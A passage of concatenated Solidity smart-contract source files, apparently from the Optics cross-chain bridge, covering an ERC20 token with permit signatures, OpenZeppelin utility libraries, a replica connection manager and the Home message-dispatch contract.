"ERC20Permit: owner zero address"); uint256 _nonce = nonces[_owner]; bytes32 _hashStruct = keccak256( abi.encode( _PERMIT_TYPEHASH, _owner, _spender, _value, _nonce, _deadline ) ); bytes32 _digest = keccak256( abi.encodePacked( _EIP712_PREFIX_AND_VERSION, domainSeparator(), _hashStruct ) ); address _signer = ecrecover(_digest, _v, _r, _s); require(_signer == _owner, "ERC20Permit: invalid signature"); nonces[_owner] = _nonce + 1; _approve(_owner, _spender, _value); } // ============ Public Functions ============ /** * @dev silence the compiler being dumb */ function balanceOf(address _account) public view override(IBridgeToken, ERC20) returns (uint256) { return ERC20.balanceOf(_account); } /** * @dev Returns the name of the token. */ function name() public view override returns (string memory) { return token.name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view override returns (string memory) { return token.symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view override returns (uint8) { return token.decimals; } /** * @dev This is ALWAYS calculated at runtime * because the token name may change */ function domainSeparator() public view returns (bytes32) { uint256 _chainId; assembly { _chainId := chainid() } return keccak256( abi.encode( keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ), keccak256(bytes(token.name)), _EIP712_STRUCTURED_DATA_VERSION, _chainId, address(this) ) ); } } // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity >=0.6.11; interface IBridgeToken { function initialize() external; function name() external returns (string memory); function balanceOf(address _account) external view returns (uint256); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function burn(address _from, uint256 _amnt) external; function mint(address _to, uint256 _amnt) external; function setDetails( string calldata _name, string calldata _symbol, uint8 _decimals ) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; // This is modified from "@openzeppelin/contracts/token/ERC20/IERC20.sol" // Modifications were made to make the tokenName, tokenSymbol, and // tokenDecimals fields internal instead of private. Getters for them were // removed to silence solidity inheritance issues import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping(address => uint256) private balances; mapping(address => mapping(address => uint256)) private allowances; uint256 private supply; struct Token { string name; string symbol; uint8 decimals; } Token internal token; /** * @dev See {IERC20-transfer}. * * Requirements: * * - `_recipient` cannot be the zero address. * - the caller must have a balance of at least `_amount`. */ function transfer(address _recipient, uint256 _amount) public virtual override returns (bool) { _transfer(msg.sender, _recipient, _amount); return true; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `_spender` cannot be the zero address. */ function approve(address _spender, uint256 _amount) public virtual override returns (bool) { _approve(msg.sender, _spender, _amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `_sender` and `recipient` cannot be the zero address. * - `_sender` must have a balance of at least `amount`. * - the caller must have allowance for ``_sender``'s tokens of at least * `amount`. */ function transferFrom( address _sender, address _recipient, uint256 _amount ) public virtual override returns (bool) { _transfer(_sender, _recipient, _amount); _approve( _sender, msg.sender, allowances[_sender][msg.sender].sub( _amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `_spender` cannot be the zero address. */ function increaseAllowance(address _spender, uint256 _addedValue) public virtual returns (bool) { _approve( msg.sender, _spender, allowances[msg.sender][_spender].add(_addedValue) ); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `_spender` cannot be the zero address. * - `_spender` must have allowance for the caller of at least * `_subtractedValue`. */ function decreaseAllowance(address _spender, uint256 _subtractedValue) public virtual returns (bool) { _approve( msg.sender, _spender, allowances[msg.sender][_spender].sub( _subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return supply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address _account) public view virtual override returns (uint256) { return balances[_account]; } /** * @dev See {IERC20-allowance}. */ function allowance(address _owner, address _spender) public view virtual override returns (uint256) { return allowances[_owner][_spender]; } /** * @dev Moves tokens `amount` from `_sender` to `_recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `_sender` cannot be the zero address. * - `_recipient` cannot be the zero address. * - `_sender` must have a balance of at least `amount`. */ function _transfer( address _sender, address _recipient, uint256 amount ) internal virtual { require(_sender != address(0), "ERC20: transfer from the zero address"); require( _recipient != address(0), "ERC20: transfer to the zero address" ); _beforeTokenTransfer(_sender, _recipient, amount); balances[_sender] = balances[_sender].sub( amount, "ERC20: transfer amount exceeds balance" ); balances[_recipient] = balances[_recipient].add(amount); emit Transfer(_sender, _recipient, amount); } /** @dev Creates `_amount` tokens and assigns them to `_account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address _account, uint256 _amount) internal virtual { require(_account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), _account, _amount); supply = supply.add(_amount); balances[_account] = balances[_account].add(_amount); emit Transfer(address(0), _account, _amount); } /** * @dev Destroys `_amount` tokens from `_account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `_account` cannot be the zero address. * - `_account` must have at least `_amount` tokens. */ function _burn(address _account, uint256 _amount) internal virtual { require(_account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(_account, address(0), _amount); balances[_account] = balances[_account].sub( _amount, "ERC20: burn amount exceeds balance" ); supply = supply.sub(_amount); emit Transfer(_account, address(0), _amount); } /** * @dev Sets `_amount` as the allowance of `_spender` over the `_owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `_owner` cannot be the zero address. * - `_spender` cannot be the zero address. */ function _approve( address _owner, address _spender, uint256 _amount ) internal virtual { require(_owner != address(0), "ERC20: approve from the zero address"); require(_spender != address(0), "ERC20: approve to the zero address"); allowances[_owner][_spender] = _amount; emit Approval(_owner, _spender, _amount); } /** * @dev Sets {decimals_} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals_} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { token.decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `_from` and `_to` are both non-zero, `_amount` of ``_from``'s tokens * will be to transferred to `_to`. * - when `_from` is zero, `_amount` tokens will be minted for `_to`. * - when `_to` is zero, `_amount` of ``_from``'s tokens will be burned. * - `_from` and `_to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address _from, address _to, uint256 _amount ) internal virtual {} } // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity >=0.6.11; /** * @title Version0 * @notice Version getter for contracts **/ contract Version0 { uint8 public constant VERSION = 0; } // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity >=0.6.11; // ============ Internal Imports ============ import {Home} from "./Home.sol"; import {Replica} from "./Replica.sol"; import {TypeCasts} from "../libs/TypeCasts.sol"; // ============ External Imports ============ import {ECDSA} from "@openzeppelin/contracts/cryptography/ECDSA.sol"; import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol"; /** * @title XAppConnectionManager * @author Celo Labs Inc. * @notice Manages a registry of local Replica contracts * for remote Home domains. Accepts Watcher signatures * to un-enroll Replicas attached to fraudulent remote Homes */ contract XAppConnectionManager is Ownable { // ============ Public Storage ============ // Home contract Home public home; // local Replica address => remote Home domain mapping(address => uint32) public replicaToDomain; // remote Home domain => local Replica address mapping(uint32 => address) public domainToReplica; // watcher address => replica remote domain => has/doesn't have permission mapping(address => mapping(uint32 => bool)) private watcherPermissions; // ============ Events ============ /** * @notice Emitted when a new Replica is enrolled / added * @param domain the remote domain of the Home contract for the Replica * @param replica the address of the Replica */ event ReplicaEnrolled(uint32 indexed domain, address replica); /** * @notice Emitted when a new Replica is un-enrolled / removed * @param domain the remote domain of the Home contract for the Replica * @param replica the address of the Replica */ event ReplicaUnenrolled(uint32 indexed domain, address replica); /** * @notice Emitted when Watcher permissions are changed * @param domain the remote domain of the Home contract for the Replica * @param watcher the address of the Watcher * @param access TRUE if the Watcher was given permissions, FALSE if permissions were removed */ event WatcherPermissionSet( uint32 indexed domain, address watcher, bool access ); // ============ Modifiers ============ modifier onlyReplica() { require(isReplica(msg.sender), "!replica"); _; } // ============ Constructor ============ // solhint-disable-next-line no-empty-blocks constructor() Ownable() {} // ============ External Functions ============ /** * @notice Un-Enroll a replica contract * in the case that fraud was detected on the Home * @dev in the future, if fraud occurs on the Home contract, * the Watcher will submit their signature directly to the Home * and it can be relayed to all remote chains to un-enroll the Replicas * @param _domain the remote domain of the Home contract for the Replica * @param _updater the address of the Updater for the Home contract (also stored on Replica) * @param _signature signature of watcher on (domain, replica address, updater address) */ function unenrollReplica( uint32 _domain, bytes32 _updater, bytes memory _signature ) external { // ensure that the replica is currently set address _replica = domainToReplica[_domain]; require(_replica != address(0), "!replica exists"); // ensure that the signature is on the proper updater require( Replica(_replica).updater() == TypeCasts.bytes32ToAddress(_updater), "!current updater" ); // get the watcher address from the signature // and ensure that the watcher has permission to un-enroll this replica address _watcher = _recoverWatcherFromSig( _domain, TypeCasts.addressToBytes32(_replica), _updater, _signature ); require(watcherPermissions[_watcher][_domain], "!valid watcher"); // remove the replica from mappings _unenrollReplica(_replica); } /** * @notice Set the address of the local Home contract * @param _home the address of the local Home contract */ function setHome(address _home) external onlyOwner { home = Home(_home); } /** * @notice Allow Owner to enroll Replica contract * @param _replica the address of the Replica * @param _domain the remote domain of the Home contract for the Replica */ function ownerEnrollReplica(address _replica, uint32 _domain) external onlyOwner { // un-enroll any existing replica _unenrollReplica(_replica); // add replica and domain to two-way mapping replicaToDomain[_replica] = _domain; domainToReplica[_domain] = _replica; emit ReplicaEnrolled(_domain, _replica); } /** * @notice Allow Owner to un-enroll Replica contract * @param _replica the address of the Replica */ function ownerUnenrollReplica(address _replica) external onlyOwner { _unenrollReplica(_replica); } /** * @notice Allow Owner to set Watcher permissions for a Replica * @param _watcher the address of the Watcher * @param _domain the remote domain of the Home contract for the Replica * @param _access TRUE to give the Watcher permissions, FALSE to remove permissions */ function setWatcherPermission( address _watcher, uint32 _domain, bool _access ) external onlyOwner { watcherPermissions[_watcher][_domain] = _access; emit WatcherPermissionSet(_domain, _watcher, _access); } /** * @notice Query local domain from Home * @return local domain */ function localDomain() external view returns (uint32) { return home.localDomain(); } /** * @notice Get access permissions for the watcher on the domain * @param _watcher the address of the watcher * @param _domain the domain to check for watcher permissions * @return TRUE iff _watcher has permission to un-enroll replicas on _domain */ function watcherPermission(address _watcher, uint32 _domain) external view returns (bool) { return watcherPermissions[_watcher][_domain]; } // ============ Public Functions ============ /** * @notice Check whether _replica is enrolled * @param _replica the replica to check for enrollment * @return TRUE iff _replica is enrolled */ function isReplica(address _replica) public view returns (bool) { return replicaToDomain[_replica] != 0; } // ============ Internal Functions ============ /** * @notice Remove the replica from the two-way mappings * @param _replica replica to un-enroll */ function _unenrollReplica(address _replica) internal { uint32 _currentDomain = replicaToDomain[_replica]; domainToReplica[_currentDomain] = address(0); replicaToDomain[_replica] = 0; emit ReplicaUnenrolled(_currentDomain, _replica); } /** * @notice Get the Watcher address from the provided signature * @return address of watcher that signed */ function _recoverWatcherFromSig( uint32 _domain, bytes32 _replica, bytes32 _updater, bytes memory _signature ) internal view returns (address) { bytes32 _homeDomainHash = Replica(TypeCasts.bytes32ToAddress(_replica)) .homeDomainHash(); bytes32 _digest = keccak256( abi.encodePacked(_homeDomainHash, _domain, _updater) ); _digest = ECDSA.toEthSignedMessageHash(_digest); return ECDSA.recover(_digest, _signature); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity >=0.6.11; // ============ Internal Imports ============ import {Version0} from "./Version0.sol"; import {Common} from "./Common.sol"; import {QueueLib} from "../libs/Queue.sol"; import {MerkleLib} from "../libs/Merkle.sol"; import {Message} from "../libs/Message.sol"; import {MerkleTreeManager} from "./Merkle.sol"; import {QueueManager} from "./Queue.sol"; import {IUpdaterManager} from "../interfaces/IUpdaterManager.sol"; // ============ External Imports ============ import {Address} from "@openzeppelin/contracts/utils/Address.sol"; import {OwnableUpgradeable} from "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; /** * @title Home * @author Celo Labs Inc. * @notice Accepts messages to be dispatched to remote chains, * constructs a Merkle tree of the messages, * and accepts signatures from a bonded Updater * which notarize the Merkle tree roots. * Accepts submissions of fraudulent signatures * by the Updater and slashes the Updater in this case. */ contract Home is Version0, QueueManager, MerkleTreeManager, Common, OwnableUpgradeable { // ============ Libraries ============ using QueueLib for QueueLib.Queue; using MerkleLib for MerkleLib.Tree; // ============ Constants ============ // Maximum bytes per message = 2 KiB // (somewhat arbitrarily set to begin) uint256 public constant MAX_MESSAGE_BODY_BYTES = 2 * 2**10; // ============ Public Storage Variables ============ // domain => next available nonce for the domain mapping(uint32 => uint32) public nonces; // contract responsible for Updater bonding, slashing and rotation IUpdaterManager public updaterManager; // ============ Upgrade Gap ============ // gap for upgrade safety uint256[48] private __GAP; // ============ Events ============ /** * @notice Emitted when a new message is dispatched via Optics * @param leafIndex Index of message's leaf in merkle tree * @param destinationAndNonce Destination and destination-specific * nonce combined in single field ((destination << 32) & nonce) * @param messageHash Hash of message; the leaf inserted to the Merkle tree for the message * @param committedRoot the latest notarized root submitted in the last signed Update * @param message Raw bytes of message */ event Dispatch( bytes32 indexed messageHash, uint256 indexed leafIndex, uint64 indexed destinationAndNonce, bytes32 committedRoot, bytes message ); /** * @notice Emitted when proof of an improper update is submitted, * which sets the contract to FAILED state * @param oldRoot Old root of the improper update * @param newRoot New root of the improper update * @param signature Signature on `oldRoot` and `newRoot */ event ImproperUpdate(bytes32 oldRoot, bytes32 newRoot, bytes signature); /** * @notice Emitted when the Updater is slashed * (should be paired with ImproperUpdater or DoubleUpdate event) * @param updater The address of the updater * @param reporter The address of the entity that reported the updater misbehavior */ event UpdaterSlashed(address indexed updater, address indexed reporter); /** * @notice Emitted when Updater is rotated by the UpdaterManager * @param updater The address of the new updater */ event NewUpdater(address updater); /** * @notice Emitted when the UpdaterManager contract is changed * @param updaterManager The address of the new updaterManager */ event NewUpdaterManager(address updaterManager); // ============ Constructor ============ constructor(uint32 _localDomain) Common(_localDomain) {} // solhint-disable-line no-empty-blocks // ============ Initializer ============ function initialize(IUpdaterManager _updaterManager) public initializer { // initialize owner & queue __Ownable_init(); __QueueManager_initialize(); // set Updater Manager contract and initialize Updater _setUpdaterManager(_updaterManager); address _updater = updaterManager.updater(); __Common_initialize(_updater); emit NewUpdater(_updater); } // ============ Modifiers ============ /** * @notice Ensures that function is called by the UpdaterManager contract */ modifier onlyUpdaterManager() { require(msg.sender == address(updaterManager), "!updaterManager"); _; } // ============ External: Updater & UpdaterManager Configuration ============ /** * @notice Set a new Updater * @param _updater the new Updater */ function setUpdater(address _updater) external onlyUpdaterManager { _setUpdater(_updater); } /** * @notice Set a new UpdaterManager contract * @dev Home(s) will initially be initialized using a trusted UpdaterManager contract; * we will progressively decentralize by swapping the trusted contract with a new implementation * that implements Updater bonding & slashing, and rules for Updater selection & rotation * @param _updaterManager the new UpdaterManager contract */ function setUpdaterManager(address _updaterManager) external onlyOwner { _setUpdaterManager(IUpdaterManager(_updaterManager)); } // ============ External Functions ============ /** * @notice Dispatch the message it to the destination domain & recipient * @dev Format the message, insert its hash into Merkle tree, * enqueue the new Merkle root, and emit `Dispatch` event with message information. * @param _destinationDomain Domain of destination chain * @param _recipientAddress Address of recipient on destination chain as bytes32 * @param _messageBody Raw bytes content of message */ function dispatch( uint32 _destinationDomain, bytes32 _recipientAddress, bytes memory _messageBody ) external notFailed { require(_messageBody.length <= MAX_MESSAGE_BODY_BYTES, "msg too long"); // get the next nonce for the destination domain, then increment it uint32 _nonce = nonces[_destinationDomain]; nonces[_destinationDomain] = _nonce + 1; // format the message into packed bytes bytes memory _message = Message.formatMessage( localDomain, bytes32(uint256(uint160(msg.sender))), _nonce, _destinationDomain, _recipientAddress, _messageBody ); // insert the hashed message into the Merkle tree bytes32 _messageHash = keccak256(_message); tree.insert(_messageHash); // enqueue the new Merkle root after inserting the message queue.enqueue(root()); // Emit Dispatch event with message information // note: leafIndex is count() - 1 since new leaf has already been inserted emit Dispatch( _messageHash, count() - 1, _destinationAndNonce(_destinationDomain, _nonce), committedRoot, _message ); } /** * @notice Submit a signature from the Updater "notarizing" a root, * which updates the Home contract's `committedRoot`, * and publishes the signature which will be relayed to Replica contracts * @dev emits Update event * @dev If _newRoot is not contained in the queue, * the Update is a fraudulent Improper Update, so * the Updater is slashed & Home is set to FAILED state * @param _committedRoot Current updated merkle root which the update is building off of * @param _newRoot New merkle root to update the contract state to * @param _signature Updater signature on `_committedRoot` and `_newRoot` */ function update( bytes32 _committedRoot, bytes32 _newRoot, bytes memory _signature ) external notFailed { // check that the update is not fraudulent; // if fraud is detected, Updater is slashed & Home is set to FAILED state if (improperUpdate(_committedRoot, _newRoot, _signature)) return; // clear all of the intermediate roots contained in this update from the queue while (true) { bytes32 _next = queue.dequeue(); if (_next == _newRoot) break; } // update the Home state with the latest signed root & emit event committedRoot = _newRoot; emit Update(localDomain, _committedRoot, _newRoot, _signature); } /** * @notice Suggest an update for the Updater to sign and submit. * @dev If queue is empty, null bytes returned for both * (No update is necessary because no messages have been dispatched since the last update) * @return _committedRoot Latest root signed by the Updater * @return _new Latest enqueued Merkle root */ function suggestUpdate() external view returns (bytes32 _committedRoot, bytes32 _new) { if (queue.length() != 0) { _committedRoot = committedRoot; _new = queue.lastItem(); } } // ============ Public Functions ============ /** * @notice Hash of Home domain concatenated with "OPTICS" */ function homeDomainHash() public view override returns (bytes32) { return _homeDomainHash(localDomain); } /** * @notice Check if an Update is an Improper Update; * if so, slash the Updater and set the contract to FAILED state. * * An Improper Update is an update building off of the Home's `committedRoot` * for which the `_newRoot` does not currently exist in the Home's queue. * This would mean that message(s) that were not truly * dispatched on Home were falsely included in the signed root. * * An Improper Update will only be accepted as valid by the Replica * If an Improper Update is attempted on Home, * the Updater will be slashed immediately. * If an Improper Update is submitted to the Replica, * it should be relayed to the Home contract using this function * in order to slash the Updater with an Improper Update. * * An Improper Update submitted to the Replica is only valid * while the `_oldRoot` is still equal to the `committedRoot` on Home; * if the `committedRoot` on Home has already been updated with a valid Update, * then the Updater should be slashed with a Double Update. * @dev Reverts (and doesn't slash updater) if signature is invalid or * update not current * @param _oldRoot Old merkle tree root (should equal home's committedRoot) * @param _newRoot New merkle tree root * @param _signature Updater signature on `_oldRoot` and `_newRoot` * @return TRUE if update was an Improper Update (implying Updater was slashed) */ function improperUpdate( bytes32 _oldRoot, bytes32 _newRoot, bytes memory _signature ) public notFailed returns (bool) { require( _isUpdaterSignature(_oldRoot, _newRoot, _signature), "!updater sig" ); require(_oldRoot == committedRoot, "not a current update"); // if the _newRoot is not currently contained in the queue, // slash the Updater and set the contract to FAILED state if (!queue.contains(_newRoot)) { _fail(); emit ImproperUpdate(_oldRoot, _newRoot, _signature); return true; } // if the _newRoot is contained in the queue, // this is not an improper update return false; } // ============ Internal Functions ============ /** * @notice Set the UpdaterManager * @param _updaterManager Address of the UpdaterManager */ function _setUpdaterManager(IUpdaterManager _updaterManager) internal { require( Address.isContract(address(_updaterManager)), "!contract updaterManager" ); updaterManager = IUpdaterManager(_updaterManager); emit NewUpdaterManager(address(_updaterManager)); } /** * @notice Set the Updater * @param _updater Address of the Updater */ function _setUpdater(address _updater) internal { updater = _updater; emit NewUpdater(_updater); } /** * @notice Slash the Updater and set contract state to FAILED * @dev Called when fraud is proven (Improper Update or Double Update) */ function _fail() internal override { // set contract to FAILED _setFailed(); // slash Updater updaterManager.slashUpdater(msg.sender); emit UpdaterSlashed(updater, msg.sender); } /** * @notice Internal utility function that combines * `_destination` and `_nonce`. * @dev Both destination and nonce should be less than 2^32 - 1 * @param _destination Domain of destination chain * @param _nonce Current nonce for given destination chain * @return Returns (`_destination` << 32) & `_nonce` */ function 